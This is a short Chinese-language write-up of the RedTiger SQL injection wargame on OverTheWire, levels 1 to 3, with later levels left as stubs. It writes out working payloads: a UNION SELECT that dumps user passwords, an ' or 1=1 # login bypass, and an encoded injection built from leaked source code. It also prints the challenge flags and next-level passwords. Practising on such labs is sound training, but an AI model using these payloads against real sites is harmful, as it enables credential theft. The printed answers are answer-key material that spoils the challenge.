sql注入挑战
level1
简单注入,payload:
http://redtiger.labs.overthewire.org/level1.php?cat=0 union select 1,2,username,password from level1_users
返回
Hornoxe
thatwaseasy
登录后显示
You made it!
You can raise your wechall.net score with this flag: 27cbddc803ecde822d87a7e8639f9315
The password for the next level is: passwords_will_change_over_time_let_us_do_a_shitty_rhyme
level2
万能密码登录bs抓包改POST内容:username=admin&password=' or 1=1 # &login=Login
You can raise your wechall.net score with this flag: 1222e2d4ad5da677efb188550528bfaa
The password for the next level is: feed_the_cat_who_eats_your_bread
level3
输入数组显示报错信息
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/hackit/urlcrypt.inc on line 26
构造http://redtiger.labs.overthewire.org/urlcrypt.inc 得到源码
用源码加密明文' union select 1,password,2,3,4,5,6 from level3_users where username=’Admin
后构造payload
http://redtiger.labs.overthewire.org/level3.php?usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw
得到
Show userdetails:
Username: thisisaverysecurepasswordEEE5rt
First name: 5
Name: 6
ICQ: 4
Email: 3
登录得到
Login correct. You are admin :);
You can raise your wechall.net score with this flag: a707b245a60d570d25a0449c2a516eca
The password for the next level is: put_the_kitten_on_your_head
level4
盲注
Level5
登录过滤
待续